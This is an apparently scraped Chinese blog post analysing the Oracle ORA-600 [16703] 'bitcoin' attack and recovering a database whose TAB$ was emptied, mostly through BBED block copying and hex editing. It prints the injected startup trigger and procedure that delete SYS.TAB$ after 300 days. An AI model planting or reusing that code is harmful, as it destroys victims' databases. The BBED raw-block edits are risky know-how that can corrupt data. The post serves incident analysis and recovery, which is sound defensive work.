zoukankan      html  css  js  c++  java
  • ORA-600_16703比特币攻击案例分析

    ORA-600_16703比特币攻击案例分析(上)

    发布时间:2019-02-22 发布人:李翔宇

    续篇:ORA-600_16703比特币攻击案例分析(下)
    近期大量的客户数据库软件被注入恶意代码,导致数据库无法启动,报错ORA-00600: internal error code, arguments: [16703], [1403], [20],大致的原因和预防措施可参考下面两篇文章:
    http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html

    大致的意思是由于恶意攻击,$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。核心部分为一个触发器一个存储过程,清空了tab$,导致数据库启动时,bootstrap阶段无法完成。

    触发器如下:

    create or replace trigger DBMS_SUPPORT_DBMONITORafter startup on databasedeclarebegin
    DBMS_SUPPORT_DBMONITORP;end;
    /

    触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程,存储过程代码如下:

    PROCEDURE DBMS_SUPPORT_DBMONITORP ISDATE1 INT :=10;BEGINSELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THENEXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;END;/

    该存储过程逻辑为:判断数据库的创建时间是否大于 300 天,如果大于300天则ctas备份tab$之后,delete tab$。

    如果有备份的话,那么很简单就不展开了,本文主要介绍没备份的方法。

    首先手工构造场景:

    模拟DBMS_SUPPORT_DBMONITORP里的内容

    SQL> @swl
    
    System altered.
    
    SQL> select count(*) from t;
    
      COUNT(*)----------
         13982
             
    SQL> create table t_bak as select * from tab$;
    
    Table created.
    
    SQL> delete from tab$;
    
    1251 rows deleted.
    
    SQL> commit;Commit complete.SQL> alter system checkpoint;
    
    System altered.
    
    SQL> shutdown abort;
    ORACLE instance shut down.

    此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]

    SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019Copyright (c) 1982, 2013, Oracle.  All rights reserved.
    
    Connected to an idle instance.SQL> startupORACLE instance started.
    
    Total System Global Area 1269366784 bytesFixed Size                  2252864 bytesVariable Size            1191186368 bytesDatabase Buffers           67108864 bytesRedo Buffers                8818688 bytesDatabase mounted.
    ORA-01092: ORACLE instance terminated. Disconnection forced
    ORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
    [], [], [], [], [], []
    Process ID: 3255Session ID: 125 Serial number: 5

    恢复思路:

    由于有且仅有tab$被delete,所以如果能恢复tab$的数据则数据库将得以恢复,这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路):

    • 根据dump redo可以找到tab$被delete的rdba以及具体条目,使用bbed逐一还原(此方法非常麻烦,如果该库的表特别多,会增加更多工作量)。

    • 由于恶意代码中,delete tab$前,ctas了一份tab$的备份,可以尝试先open数据库,再根据备份的tab$ insert到tab$中(此方法相对比较方便)。

    • odu抽取数据,重建库(如果库特别大,比如好几个t,甚至10t,100t的库则耗时太长)

    本文只介绍第二种比较方便的方法,

    恢复步骤大致如下:

    • open数据库

    • 根据备份的tab$ insert到tab$中

    在恢复之前首先简单介绍一下tab$,tab$是cluster C_OBJ#中的一个table,CLUSTER KEY为OBJ#,C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象,tab$在数据库中是非常核心的一个基表,它记录了table的段头地址以及统计信息。在数据库open过程中,需要访问到的基表对象如果在tab$中不存在,则数据库将无法open,报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。

    CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE ( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144)) SIZE 800CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
    PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE
    LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)

    如何open数据库?

    知道了在数据库open过程中,需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx],那么将这些对象的信息还原回tab$,则数据库将open成功。

    如何确定数据库open需要访问哪些核心基表呢?

    找一个正常的数据库做open时的10046,过程如下:

    SQL> startup mount;
    ORACLE instance started.
    Total System Global Area 1269366784 bytes
    Fixed Size 2252864 bytes
    Variable Size 754978752 bytes
    Database Buffers 503316480 bytes
    Redo Buffers 8818688 bytes
    Database mounted.
    SQL> @46on
    Statement processed.
    Statement processed.
    SQL> alter database open;
    Database altered.
    SQL> @46off
    /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
    Statement processed.

    简单的对10046 trace文件进行筛选则可以找到这些基表的obj#,并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息

    [oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'
    10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99
    SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
    2 FROM TAB$ a,obj$ b
    3 WHERE a.obj#=b.obj#
    4 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99) 5 order by 6,7;
    OBJ# TAB# DATAOBJ# BOBJ# NAME FILE_ID BLOCK_ID---------- ---------- ---------- ---------- ------------------------------ ---------- ----------
    25 25 PROXY_ROLE_DATA$ 1 145
    17 17 FILE$ 1 145
    20 4 2 2 ICOL$ 1 145
    19 3 2 2 IND$ 1 145
    28 28 CON$ 1 145
    15 15 UNDO$ 1 145
    21 5 2 2 COL$ 1 146
    16 2 6 6 TS$ 1 146
    5 2 2 2 CLU$ 1 146
    14 2 8 8 SEG$ 1 146
    23 23 PROXY_DATA$ 1 146
    22 1 10 10 USER$ 1 147
    18 18 OBJ$ 1 147
    4 1 2 2 TAB$ 1 147
    59 59 BOOTSTRAP$ 1 147
    32 2 29 29 CCOL$ 1 147
    61 61 OBJAUTH$ 1 148
    31 1 29 29 CDEF$ 1 148
    69 69 VIEW$ 1 148
    80 6 2 2 LOB$ 1 149
    74 74 SEQ$ 1 149
    83 7 2 2 COLTYPE$ 1 149
    99 99 EDITION$ 1 149
    98 98 PROPS$ 1 149
    95 11 2 2 OPQTYPE$ 1 149
    92 10 2 2 REFCON$ 1 149
    88 9 2 2 NTAB$ 1 149
    86 8 2 2 SUBCOLTYPE$ 1 149
    101 101 FIXED_OBJ$ 1 150
    103 103 MIGRATE$ 1 150
    104 104 DEPENDENCY$ 1 150
    105 105 ACCESS$ 1 150
    118 118 SYSAUTH$ 1 150
    160 160 TRIGGER$ 1 152
    161 161 TRIGGERCOL$ 1 152
    192 192 SQL$ 1 153
    221 221 PROCEDURE$ 1 154
    228 228 IDL_SB4$ 1 155
    227 227 IDL_UB2$ 1 155
    226 226 IDL_CHAR$ 1 155
    225 225 IDL_UB1$ 1 155
    252 14 2 2 LIBRARY$ 1 156
    294 294 RESOURCE_PLAN$ 1 158
    297 297 RESOURCE_PLAN_DIRECTIVE$ 1 159
    300 300 RESOURCE_STORAGE_POOL_MAPPING$ 1 159
    301 301 RESOURCE_CAPABILITY$ 1 159
    302 302 RESOURCE_INSTANCE_CAPABILITY$ 1 159
    304 304 TSM_SRC$ 1 159
    307 307 TSM_DST$ 1 159
    311 311 SERVICE$ 1 160
    390 390 RADM_FPTM$ 1 163
    436 436 XS$SESSION_ROLES 1 165
    433 433 XS$SESSIONS 1 165
    438 438 XS$SESSION_APPNS 1 165
    453 453 TAB_STATS$ 1 166
    451 451 AUX_STATS$ 1 166
    448 448 HIST_HEAD$ 1 166
    446 1 444 444 HISTGRM$ 1 166
    455 455 IND_STATS$ 1 166
    463 463 ASSOCIATION$ 1 167
    506 506 OPTSTAT_HIST_CONTROL$ 1 3337
    514 514 ID_GENS$ 1 3337
    515 515 OID$ 1 3337
    517 17 2 2 TYPE_MISC$ 1 3338
    567 567 KOPM$ 1 3339
    587 587 PARTOBJ$ 1 3341
    713 713 STREAMS$_CAPTURE_PROCESS 1 4396
    717 717 STREAMS$_APPLY_PROCESS 1 4396
    721 721 STREAMS$_PROPAGATION_PROCESS 1 4396
    1297 1297 SYS_FBA_FA 1 7897
    1300 1300 SYS_FBA_TSFA 1 7897
    1307 1307 SYS_FBA_USERS 1 7897
    1306 1306 SYS_FBA_PARTITIONS 1 7897
    1304 1304 SYS_FBA_TRACKEDTABLES 1 7897
    1302 1302 SYS_FBA_BARRIERSCN 1 7897
    1314 1314 REGISTRY$ 1 7898
    1309 1309 SYS_FBA_DL 1 7898
    5541 5541 DAM_CONFIG_PARAM$ 1 9952
    5582 5582 INVALIDATION_REGISTRY$ 1 9954
    5780 5780 LOC$ 1 9963
    5804 5804 AQ$_QUEUE_TABLE_AFFINITIES 1 9965
    5797 5797 AQ$_QUEUES 1 9965
    5794 5794 AQ$_QUEUE_TABLES 1 9965
    5814 5814 AQ$_SCHEDULES 1 9965
    7144 7144 REPCAT$_REPPROP 1 13368
    12939 12939 AQ$_SCHEDULER$_EVENT_QTAB_L 1 22502
    12973 12973 AQ$_SCHEDULER$_REMDB_JOBQTAB_L 1 22504
    13003 13003 AQ$_SCHEDULER_FILEWATCHER_QT_L 1 22506
    13059 13059 AQ$_ALERT_QT_L 1 22509
    13273 13273 AQ_EVENT_TABLE 1 22518
    13298 13298 AQ$_AQ_PROP_TABLE_L 1 22519
    13604 13604 AQ$_SYS$SERVICE_METRICS_TAB_L 1 31492
    14137 14137 AQ$_WM$EVENT_QUEUE_TABLE_L 1 31514
    93 rows selected.

    这些对象在同版本同平台的数据库上的rdba地址一般都是一致的,所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库,否则后续处理会比较麻烦),使用bbed进行替换,用sql拼接出bbed的命令

    SQL> SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM ( 2 SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
    3 FROM TAB$ a,obj$ b
    4 WHERE a.obj#=b.obj#
    5 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
    'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID----------------------------------------------------------------------------------------------------------------------------------------------------------copy file 2 block 156 to file 1 block 156
    copy file 2 block 160 to file 1 block 160
    copy file 2 block 3339 to file 1 block 3339
    copy file 2 block 7898 to file 1 block 7898
    copy file 2 block 9965 to file 1 block 9965
    copy file 2 block 149 to file 1 block 149
    copy file 2 block 153 to file 1 block 153
    copy file 2 block 9952 to file 1 block 9952
    copy file 2 block 13368 to file 1 block 13368
    copy file 2 block 150 to file 1 block 150
    copy file 2 block 152 to file 1 block 152
    copy file 2 block 158 to file 1 block 158
    copy file 2 block 165 to file 1 block 165
    copy file 2 block 9963 to file 1 block 9963
    copy file 2 block 147 to file 1 block 147
    copy file 2 block 145 to file 1 block 145
    copy file 2 block 148 to file 1 block 148
    copy file 2 block 154 to file 1 block 154
    copy file 2 block 166 to file 1 block 166
    copy file 2 block 4396 to file 1 block 4396
    copy file 2 block 9954 to file 1 block 9954
    copy file 2 block 22502 to file 1 block 22502
    copy file 2 block 22506 to file 1 block 22506
    copy file 2 block 155 to file 1 block 155
    copy file 2 block 159 to file 1 block 159
    copy file 2 block 22504 to file 1 block 22504
    copy file 2 block 31492 to file 1 block 31492
    copy file 2 block 146 to file 1 block 146
    copy file 2 block 163 to file 1 block 163
    copy file 2 block 3338 to file 1 block 3338
    copy file 2 block 7897 to file 1 block 7897
    copy file 2 block 22509 to file 1 block 22509
    copy file 2 block 31514 to file 1 block 31514
    copy file 2 block 167 to file 1 block 167
    copy file 2 block 3337 to file 1 block 3337
    copy file 2 block 3341 to file 1 block 3341
    copy file 2 block 22518 to file 1 block 22518
    copy file 2 block 22519 to file 1 block 22519
    38 rows selected.
    [oracle@test ~]$ bbed parfile=bbed
    BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved.
    ************* !!! For Oracle Internal Use only !!! ***************
    BBED> info File# Name Size(blks) ----- ---- ----------
    1 /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw 0
    2 /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf 0

    ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    ORA-600_16703比特币攻击案例分析(下)

    发布时间:2019-02-22 发布人:李翔宇

    可以看到这里需要替换38个数据块,替换后可以成功open数据库

    BBED> copy file 2 block 156 to file 1 block 156 Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 511 Dba:0x0040009c------------------------------------------------------------------------ 06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300 00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000 970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300 fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00 35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105 89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505 5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a 021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13 2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c 540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 <32 bytes per line> BBED> set count 1 COUNT 1BBED> copy file 2 block 156 to file 1 block 156 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 0 Dba:0x0040009c------------------------------------------------------------------------ 06 <32 bytes per line> BBED> copy file 2 block 160 to file 1 block 160......省略
    尝试open数据库:SQL> conn / as sysdbaConnected to an idle instance.SQL> startupORACLE instance started. Total System Global Area 1269366784 bytesFixed Size 2252864 bytesVariable Size 1191186368 bytesDatabase Buffers 67108864 bytesRedo Buffers 8818688 bytesDatabase mounted.Database opened.

    从alert日志可以看到此时数据库open伴随着ora-7445,并且5分钟后就会crash掉,所以要抓紧着5分钟的操作时间

    Thu Feb 14 03:52:16 2019
    QMNC started with pid=20, OS id=2696
    Exception [type: SIGSEGV, SI_KERNEL(general_protection)] [ADDR:0x0] [PC:0xC1B4BF, kauxalo()+355] [flags: 0x0, count: 1]
    Errors in file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_mmon_2682.trc (incident=230658):
    ORA-07445: exception encountered: core dump [kauxalo()+355] [SIGSEGV] [ADDR:0x0] [PC:0xC1B4BF] [SI_KERNEL(general_protection)] []
    Incident details in: /u01/app/oracle/diag/rdbms/lxy/lxy/incident/incdir_230658/lxy_mmon_2682_i230658.trcUse ADRCI or Support Workbench to package the incident.
    See Note 411.1 at My Oracle Support for error and packaging details.
    Completed: ALTER DATABASE OPENThu Feb 14 03:52:20 2019Dumping diagnostic data in directory=[cdmp_20190214035220], requested by (instance=1, osid=2682 (MMON)), summary=[incident=230658].
    Thu Feb 14 03:57:17 2019Exception [type: SIGSEGV, Address not mapped to object] [ADDR:0x8F] [PC:0x960E760, qkaRemoveNodeCB()+36] [flags: 0x0, count: 1]Errors in file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_smon_2678.trc (incident=230642):
    ORA-07445: exception encountered: core dump [qkaRemoveNodeCB()+36] [SIGSEGV] [ADDR:0x8F] [PC:0x960E760] [Address not mapped to object] []
    Incident details in: /u01/app/oracle/diag/rdbms/lxy/lxy/incident/incdir_230642/lxy_smon_2678_i230642.trcUse ADRCI or Support Workbench to package the incident.
    See Note 411.1 at My Oracle Support for error and packaging details.
    Thu Feb 14 03:57:20 2019System state dump requested by (instance=1, osid=2654 (PMON)), summary=[abnormal instance termination].System State dumped to trace file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_diag_2664_20190214035720.trc
    Thu Feb 14 03:57:20 2019PMON (ospid: 2654): terminating the instance due to error 474Dumping diagnostic data in directory=[cdmp_20190214035720], requested by (instance=1, osid=2654 (PMON)), summary=[abnormal instance termination].Instance terminated by PMON, pid = 2654

    如何将备份的tab$insert回tab$?

    由于tab$的备份表在tab$中并没有恢复所以无法查询,下面需要根据redodump去确定tab$的备份表t_bak的rdba

    SQL> desc t_bak ERROR: ORA-03113: end-of-file on communication channel Process ID: 2812Session ID: 125 Serial number: 7

    通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn:1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#,不难找到create table as t_bak对tab$的redo日志:

    CHANGE #2 TYP:2 CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0KTB Redo op: 0x11 ver: 0x01 compat bit: 4 (post-11) padding: 1op: F xid: 0x0004.00f.0000011e uba: 0x00c00630.0050.37Block cleanout record, scn: 0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow... itli: 1 flg: 2 scn: 0x0000.000f5a8b KDO Op code: IRP row dependencies Disabled xtype: XA flags: 0x00000000 bdba: 0x00407b2c hdba: 0x00400090itli: 2 ispac: 0 maxfr: 4863tabn: 1 slot: 2(0x2) size/delt: 123fb: -CH-FL-- lb: 0x2 cc: 36 cki: 0null:01234567890123456789012345678901234567890123456789012345678901234567890123456789----NN-N------NNNNNNNNNNNN-----NNNN-col 0: [ 4] c3 02 30 34 --obj#col 1: [ 1] 80col 2: [ 2] c1 02col 3: [ 4] c3 05 61 29col 4: *NULL*col 5: *NULL*col 6: [ 2] c1 26col 7: *NULL*col 8: [ 2] c1 0bcol 9: [ 2] c1 29col 10: [ 2] c1 02col 11: [ 3] c2 03 38col 12: [ 2] c1 02col 13: [38] 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2dcol 14: *NULL*col 15: *NULL*col 16: *NULL*col 17: *NULL*col 18: *NULL*col 19: *NULL*col 20: *NULL*col 21: *NULL*col 22: *NULL*col 23: *NULL*col 24: *NULL*col 25: *NULL*col 26: [ 2] c1 26col 27: [ 2] c1 26col 28: [ 6] c5 06 25 58 0a 0dcol 29: [ 1] 80col 30: [ 3] c2 02 4dcol 31: *NULL*col 32: *NULL*col 33: *NULL*col 34: *NULL*col 35: [ 7] 78 77 01 1f 0e 25 01

    可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532),cki为0即cluster key为kdbr[0]

    BBED> set count 16
    COUNT 16BBED> set file 1 block 31532
    FILE# 1
    BLOCK# 31532BBED> p *kdbr[0]
    rowdata[2060]-------------ub1 rowdata[2060] @2601 0xacBBED> x /rx
    rowdata[2060] @2601 -------------flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK)lock@2602: 0x00cols@2603: 1kref@2604: 38mref@2606: 37hrid@2608:0x00407b2c.0nrid@2614:0x00407b2c.0col 0[4] @2620: 0xc3 0x02 0x30 0x34

    与redo dump一致,下面开始恢复tab$中t_bak的记录,由于是cluster block所以过程有点繁琐

    BBED> p *kdbr[5]
    rowdata[1937]-------------ub1 rowdata[1937] @2478 0x7c
    BBED> x /rn
    rowdata[1937] @2478
    -------------flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC)lock@2479: 0x02cols@2480: 0BBED> m /x 6c offset 2478
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 2478 to 2493 Dba:0x00407b2c------------------------------------------------------------------------
    6c022400 04c30230 34018002 c10204c3
    <32 bytes per line>
    BBED> sum applyCheck value for File 1, Block 31532:current = 0x1e1f, required = 0x1e1fBBED> v
    DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x7f1cebc1d25ckdbchk: key comref count wrong
    keyslot=0Block 31532 failed with check code 6121DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
    BBED> m /x 26 offset 2606
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
    Block: 31532 Offsets: 2606 to 2621 Dba:0x00407b2c------------------------------------------------------------------------
    26000040 7b2c0000 00407b2c 000004c3
    <32 bytes per line>
    BBED> sum applyCheck value for File 1, Block 31532:current = 0x1e1c, required = 0x1e1cBBED> v
    DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x11e5a5ckdbchk: the amount of space used is not equal to block size
    used=3398 fsc=385 avsp=4432 dtl=8096Block 31532 failed with check code 6110DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
    BBED> p kdbh
    struct kdbh, 14 bytes @92
    ub1 kdbhflag @92 0x00 (NONE)
    sb1 kdbhntab @93 7
    sb2 kdbhnrow @94 127
    sb2 kdbhfrre @96 6
    sb2 kdbhfsbo @98 296
    sb2 kdbhfseo @100 449
    sb2 kdbhavsp @102 4432
    sb2 kdbhtosp @104 4829
    BBED> p ktbbhitl
    struct ktbbhitl[0], 24 bytes @44
    struct ktbitxid, 8 bytes @44
    ub2 kxidusn @44 0x0008
    ub2 kxidslt @46 0x0005
    ub4 kxidsqn @48 0x00000182
    struct ktbituba, 8 bytes @52
    ub4 kubadba @52 0x00c00d2f
    ub2 kubaseq @56 0x0086
    ub1 kubarec @58 0x14
    ub2 ktbitflg @60 0x8000 (KTBFCOM)
    union _ktbitun, 2 bytes @62
    sb2 _ktbitfsc @62 0
    ub2 _ktbitwrp @62 0x0000
    ub4 ktbitbas @64 0x00102cd7
    struct ktbbhitl[1], 24 bytes @68
    struct ktbitxid, 8 bytes @68
    ub2 kxidusn @68 0x0009
    ub2 kxidslt @70 0x0009
    ub4 kxidsqn @72 0x0000018f
    struct ktbituba, 8 bytes @76
    ub4 kubadba @76 0x00c00499
    ub2 kubaseq @80 0x00f9
    ub1 kubarec @82 0x09
    ub2 ktbitflg @84 0x2003 (KTBFUPB)
    union _ktbitun, 2 bytes @86
    sb2 _ktbitfsc @86 385
    ub2 _ktbitwrp @86 0x0181
    ub4 ktbitbas @88 0x00102ce3
    BBED> m /x 0000 offset 86
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
    Block: 31532 Offsets: 86 to 101 Dba:0x00407b2c------------------------------------------------------------------------
    0000e32c 10000007 7f000600 2801c101
    <32 bytes per line>
    BBED> m /x 5a12 offset 102
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
    Block: 31532 Offsets: 102 to 117 Dba:0x00407b2c------------------------------------------------------------------------
    5a1210d9 00000300 03000300 06000000
    <32 bytes per line>
    BBED> m /x 5a12 offset 104
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
    Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c------------------------------------------------------------------------
    5a120000 03000300 03000600 00000600
    <32 bytes per line>
    BBED> sum applyCheck value for File 1, Block 31532:current = 0x1c10, required = 0x1c10BBED> v
    DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x1207a5ckdbchk: space available on commit is incorrect
    tosp=4698 fsc=0 stb=8 avsp=4698Block 31532 failed with check code 6111DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
    BBED> m /x 6212 offset 104
    File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
    Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c------------------------------------------------------------------------
    62120000 03000300 03000600 00000600
    <32 bytes per line>
    BBED> sum applyCheck value for File 1, Block 31532:current = 0x1c28, required = 0x1c28BBED> v
    DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 0Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
    SQL> select count(*) from t_bak;
    COUNT(*)----------
    1250

    t_bak已经恢复完成,下面insert回tab$

    SQL> insert into tab$ select * from (select * from t_bak where obj# in (select obj# from t_bak where obj#<>14751 minus select obj# from tab$));
    982 rows created.
    SQL> commit;Commit complete.SQL> select count(*) from t;
    COUNT(*)----------
    13982

    至此数据库基本恢复完成。

    但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在:

    SQL> @hcheck
    HCheck Version 07MAY18 on 14-FEB-2019 22:49:53----------------------------------------------Catalog Version 11.2.0.4.0 (1102000400)
    db_name: LXY
    Catalog Fixed
